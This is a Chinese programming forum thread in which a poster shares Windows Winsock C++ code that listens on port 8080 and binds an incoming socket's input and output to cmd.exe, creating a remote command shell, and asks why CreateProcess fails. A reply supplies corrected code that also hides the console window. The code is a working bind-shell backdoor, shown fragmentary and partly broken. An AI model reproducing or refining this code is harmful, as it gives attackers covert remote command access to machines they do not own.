//  功能:  等待对方连入的线程,非主线程,用的是重叠i/o模型
//  参数:   空
//             
//   返回:  -1表示结束该线程
UINT WINAPI AcceptThread(LPVOID lParam)
{
SOCKADDR retAddr;
WSAEVENT event[2]={0};
char *hostaddress  = "0.0.0.0";
         int               SdcerPort = 8080;
WSANETWORKEVENTS wederYes;
BOOL  bReUseAddr = TRUE; SOCKET  sock = INVALID_SOCKET; //监听SOCKET
SOCKET  acceptSock = INVALID_SOCKET; //通讯SOCKET
if (!LSdcerCreateSocket(&sock, SOCK_STREAM))
{
                //用WSASocket()创建一个用于监听的SOCKET return false;
}
if (!LSdcerBindSocket(sock, hostaddress, SdcerPort))
{         
            //绑定

   return false;
} event[0] = hExitEvent_Listen;
event[1] = workEvent_Listen; if (WSAEventSelect(sock, workEvent_Listen, FD_ACCEPT) == SOCKET_ERROR)
{
return false;
}

if (!LSdcerListenSocket(sock))
{
                 //开始监听
return false;
} DWORD whichEvent = WSAWaitForMultipleEvents(2, 
event,
FALSE,
WSA_INFINITE, 
FALSE
); if (whichEvent == WSA_WAIT_FAILED||whichEvent == WAIT_OBJECT_0)
{
if (whichEvent == WAIT_OBJECT_0)
{
hExitEvent_Listen = WSACreateEvent();
}
                   return false;
}

int right = WSAEnumNetworkEvents(sock,workEvent_Listen,&wederYes);
if (right == SOCKET_ERROR)
{
return false;
}

if (wederYes.lNetworkEvents == FD_ACCEPT)
{
if (hPrepareEvent != NULL)
{
WaitForSingleObject(hPrepareEvent, INFINITE);
} int sockaddrret = sizeof(retAddr);
acceptSock = WSAAccept(sock, &retAddr, &sockaddrret, 0, 0);
if (acceptSock == INVALID_SOCKET)
{
continue;
}
else
{
ResetEvent(workEvent_Listen);                          //下面是重定向到cmdshell的过程
        STARTUPINFO si; 
        PROCESS_INFORMATION pi; 
        si.cb=sizeof(si); 
        si.dwFlags=STARTF_USESTDHANDLES; 
        si.hStdInput=si.hStdOutput=si.hStdError=(HANDLE)acceptSock;
        si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;         int ret = CreateProcess(NULL,"c:\\windows\\system32\\cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);              ret = GetLastError(); //发现ret = 998
...................................................}
我发现CreateProcess()函数返回0(失败),用GetLastError()查看,发现返回998,用error lookup查看,提示信息是:内存分配访问无效。
怎么回事,请帮忙,在线等待!!!!!

解决方案 »

  1.   

    STARTUPINFO si;
    ZeroMemory(&si,sizeof(si));
    si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow=SW_HIDE;
    si.hStdInput=si.hStdOutput=si.hStdError=(void*)clientFD;
    PROCESS_INFORMATION Processinformation;
     
    ret=CreateProcess(NULL,"c:\\windows\\system32\\cmd.exe",NULL,NULL,1,0,NULL,NULL,&si,&Processinformation);
    }
      

  2.   

    to  kugou123(酷狗)(http://www.xiaozhou.net)用你提供的方法确实可以产生一个cmdshell,但是是空的,没有目录结构啊。这是怎么回事?
      

  3.   

    就是说,虽然用0管道的方法能产生cmdshell(dos窗口),但窗口中的内容是空的,什么都没有。
    我发现在在vc的控制台里就可以正常工作,可以浏览文件。但如果把以上
    kugou123(酷狗)(http://www.xiaozhou.net) 的代码放在mfc对话框程序的一个OnButton()事件里,就不行,不知道mfc和console有什么区别,为什么?